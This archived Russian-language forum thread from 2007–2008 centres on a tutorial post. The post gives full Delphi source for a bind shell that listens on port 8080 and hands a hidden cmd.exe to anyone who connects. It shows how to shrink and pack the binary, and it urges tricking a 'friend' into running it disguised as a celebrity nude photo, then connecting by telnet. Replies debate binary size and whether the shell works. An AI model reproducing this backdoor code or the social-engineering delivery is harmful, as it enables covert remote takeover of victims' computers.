PDA

Просмотр полной версии : MiniShell или мусорный код делфи.


zl0y
20.04.2007, 11:11
Приступим....
Цель данной статьи показать что делфи ничем не хуже всяких си со всеми его плюсами !
Итак поехали!

Инструменты: Delphi3, Restorator 2007, Migeel's Realigner и FSG 2.0(можно другой).

Теперь разберем каждый инструмент по частям:

1)От делфи на ничего не нужно кроме DCC32.exe,windows.pas,winsock.pas.

2)Restorator,незнаю какую траву курил борланд когда писал делфи но факт того,что в .exe пишется совершенно бесполезная секция которая содержит информация о подключенных модулях при компиляции,гордое имя её(.RCDATA).

3)Migeel's Realigner - утилита для удаления таблицы релокаций в нашем случае таблица может быть удалена.

4)Пакер мой выбор пал на FSG(качаем с http://www.xtreeme.prv.pl).

Приступим как вы уже наверно догадались...мы будем писать шелл ;)

Почему не си со всеми его плюсами? Потому что на мой взгляд делфи легче в изучении и не уступает по возможностям и иногда и обгоняет :)

Что то я все отвлекаюсь ... приведу код шелла который был составлен мною после недолгих экспериментов :)
program Minishell;

uses
windows,WinSock;

function WSASocketA(af, wType, protocol: integer;lpProtocolInfo: pointer;g, dwFlags: dword): integer;stdcall; external 'ws2_32.dll';

var
si: TStartupInfo;
WSAData: TWSAData;
pi: TProcessInformation;
sock: integer;
sockaddr: TSockAddrIn;
sHandle: dword;

begin
WSAStartup($101, WSAData);
sock := WSASocketA(PF_INET, SOCK_STREAM, IPPROTO_TCP, nil, 0, 0);
sockaddr.sin_family := AF_INET;
sockaddr.sin_port := htons(8080);
bind(sock, sockaddr, 16);
listen(sock, 0);
while true do
begin
sHandle := accept(sock, nil, 0);
si.cb := SizeOf(TStartupInfo);
si.wShowWindow := SW_HIDE;
si.dwFlags := 0101;
si.hStdError := sHandle;
si.hStdInput := sHandle;
si.hStdOutput := sHandle;
CreateProcess(nil, 'cmd.exe', nil, nil, true, 0, nil, nil, si, pi);
end;
end.


Компилируем .... если вы не слепой инвалид с палочкой :D то вы наверно заметите в папке с исходником .exe файл размером (14 848 байт) Отлично скажете вы ! - Я отвечу нет ! Мы способны на большое и сейчас мы попытаемся выжать это всё из себя... Вы конечно скажете ща возму пакер и упакую ... но все равно размера менее 10 kb вы недобьётесь! Мы же поступим другим способом.

Далее рекомендую производить всю операцию по этапам,чтобы избежать ошибок !

1)Компилируем наш исходный код проекта в .exe файл.

2)Запускаем Restorator 2007 и удаляем больше ненужную нам секцию с гордым именем "RCData".

3)Используем Migeel's Realigner с параметром командной строки(realign MiniShell.exe),чтобы удалить таблицы релокаций ...которые так насильно создает делфи :p

4)Запакуем файл FSG.

Если вы все сделали правильно,то в вашей папке появиться .exe файл размером в: (7 293 байт)

Настало время для тестирования нашего шелла!
Здесь необходимо проявить фантазию кинув его другу под видом фотки голой бритни спирс :D

А далее дело уже секундное...
Пуск>>Выполнить>> cmd
Далее появиться окно наберем в нем telnet 127.0.0.1 8080. Готово сэр ! :p Вместо 127.0.0.1 конечно должен стоять ип-адрес вашего друга.

Дальше опишу второй метод но только здесь без обид .exe и исходники не дам ! Это так для коллекции :p

Результатом следующих действий стал шелл размером в 2416 байт ! Только вдумайтесь в эти цифры! Кто там пишет на VCL (380 kb) :D

Что,я использовал для получения такого результата:
1)Использование прямых вызовов к фунциям dll
2)Код на чистых asm вставках !
4)Компиллер Delphi3
5)MicroSoft линковщик или просто LINK.exe
6)Restorator 2007
7)Migeel's Realigner
8)fakecom.com переконвертурвует наш файл в .com это связанно с тем что .com файлы они же приложения MS-DOS не имеют заголовка PE файла это нам только на руку :o
9)UPX 2.93w упакует наш файл :)

Ну и наконец мы будем иметь шелл размером в 2416 байт :rolleyes:

В заключении хочу сказать что не стоит гнать на делфи пургу,так как этот путь даже и большой инструмент при умелом подходе,становиться отличным применением своих знаний готовых покорять все новые горизонты программирования ! Удачи вам в вашей деятельности чем бы вы не занимались ;) Ну вот и все :cool:

Примеры к статье(исходник,утилиты).
http://slil.ru/24264071

При перепечатывании а также копировании данной статьи ссылка на автора(меня) и первоисточник обязательна !

iv.
20.04.2007, 11:18
Цель данной статьи показать что делфи ничем не хуже всяких си со всеми его плюсами !
ну да, давай ещё расскажем что "вижуал бейсик" ничуть не хуже ассемблера..работа с сокетами-то везде практически аналогичная. =)
а так в общем-то ничего.

неплохо было бы оформить по-красивше.

nerezus
20.04.2007, 11:26
На C++ код будет не меньше.

А вот на C или асме.... ;)


У каждого инструмента есть своя область применения. Да, гвозди можно забивать и микроскопом. И гуй на пхп можно писать. И сайты на асме делать. Но... ;)

zl0y
20.04.2007, 11:30
nerezus
Надо будет попробывать на асм переписать ;)

Zitt
20.04.2007, 13:13
Дельфи рулит))) +1. Мне как раз такое нужно...

salamandra
20.04.2007, 15:49
:) На асме этот код будет 1,5 кб,а можно сделать ещё меньше!Это я о том что каждый язык программирования заточен под определённые задачи и лишнии извращения просто не к чему!

Spyder
20.04.2007, 15:52
хочу сайт на асме =\
Аффтору плюс

nerezus
20.04.2007, 17:59
хочу сайт на асме =\ Я делал. Потом на никсовом серваке через WINE и bash к апачу как CGI подключал ))

=)

zl0y
09.05.2007, 14:20
Немного поковырял исходники уменьшил размер ! Теперь он весит 2,25 КБ (2 313 байт)

Качаем:http://slil.ru/24348370

ZirroCool
21.10.2007, 04:27
Ребят походу этот шел не совсем так работает!у мну лично пытаюсь подконектиться и он разворачиват цмд не на том компе с которого я конектюсь а на том на котоом запущен сервак!Походу это полный пипец вы та не думаете?Поправьте меня если я не прав и если не сложно покажите как должно быть на самом деле!

Piflit
21.10.2007, 11:34
Ребят походу этот шел не совсем так работает!у мну лично пытаюсь подконектиться и он разворачиват цмд не на том компе с которого я конектюсь а на том на котоом запущен сервак!Походу это полный пипец вы та не думаете?Поправьте меня если я не прав и если не сложно покажите как должно быть на самом деле!
Ты не прав. Все так и должно быть на самом деле.

Ni0x
21.10.2007, 12:19
Прочитал статью, вообще не понравилась.
Начну с того, что возможности языка по размеру выходного файла не сравнивают, так как сам язык != компилятор. Непонятно также по каким аспектам дельфи обходит тот же с++ и с каких пор FSG стал оффициальным средством для уменьшения размера от Borland. Получается, что в итоге все упирается в сторонний пакер, или тебе не приходило в голову, что ту же cpp программу можно пропустить через fsg и тогда она опять будет выигрывать по размеру? Просьба не начинать очередной холивар.

ZirroCool
21.10.2007, 16:11
Ты не прав. Все так и должно быть на самом деле.
Если так и должно быть на самом деле, то это не шел, единствнное что в этой проге нормально работает это прослушка порта!
Да и кстати по поводу размера exe, в delphi
Project>option>packages далее ставим галку напротив build whith runtime packages
и размер становиться 5 кило, так ешо и пожамкать его можно!

z01b
31.10.2007, 18:52
Если так и должно быть на самом деле, то это не шел, единствнное что в этой проге нормально работает это прослушка порта!
Да и кстати по поводу размера exe, в delphi
Project>option>packages далее ставим галку напротив build whith runtime packages
и размер становиться 5 кило, так ешо и пожамкать его можно!
Если так делать, то програ у кого нету компилятора для делфи от Борланда, пахать не будет!

..::TROYAN::..
19.11.2008, 21:33
Ребят походу этот шел не совсем так работает!у мну лично пытаюсь подконектиться и он разворачиват цмд не на том компе с которого я конектюсь а на том на котоом запущен сервак!Походу это полный пипец вы та не думаете?Поправьте меня если я не прав и если не сложно покажите как должно быть на самом деле!
это ппц а не шелл!вчера проверял этот "говношелл" и при коннекте на серваке запускается cmd и всё=///

AHTOLLlKA
20.11.2008, 09:43
по себе других несудят бля...лучше б шото по теме написал...=///
за словами следи еблан сцуко ;)
а ты типо по теме пишешь ??

у жертвы запустица cmd.exe с перенаправлением ввода-вывода на сокет .... тоесть управлять удаленно через телнет будешь ....

о боже... каких то наркаманов на форум заносит......

..::TROYAN::..
25.11.2008, 19:08
а ты типо по теме пишешь ??

у жертвы запустица cmd.exe с перенаправлением ввода-вывода на сокет .... тоесть управлять удаленно через телнет будешь ....

о боже... каких то наркаманов на форум заносит......
убейся плз...протестируй этот шел на двух тачках а потом пиши чтото...недумаю что у тебя чтото получится...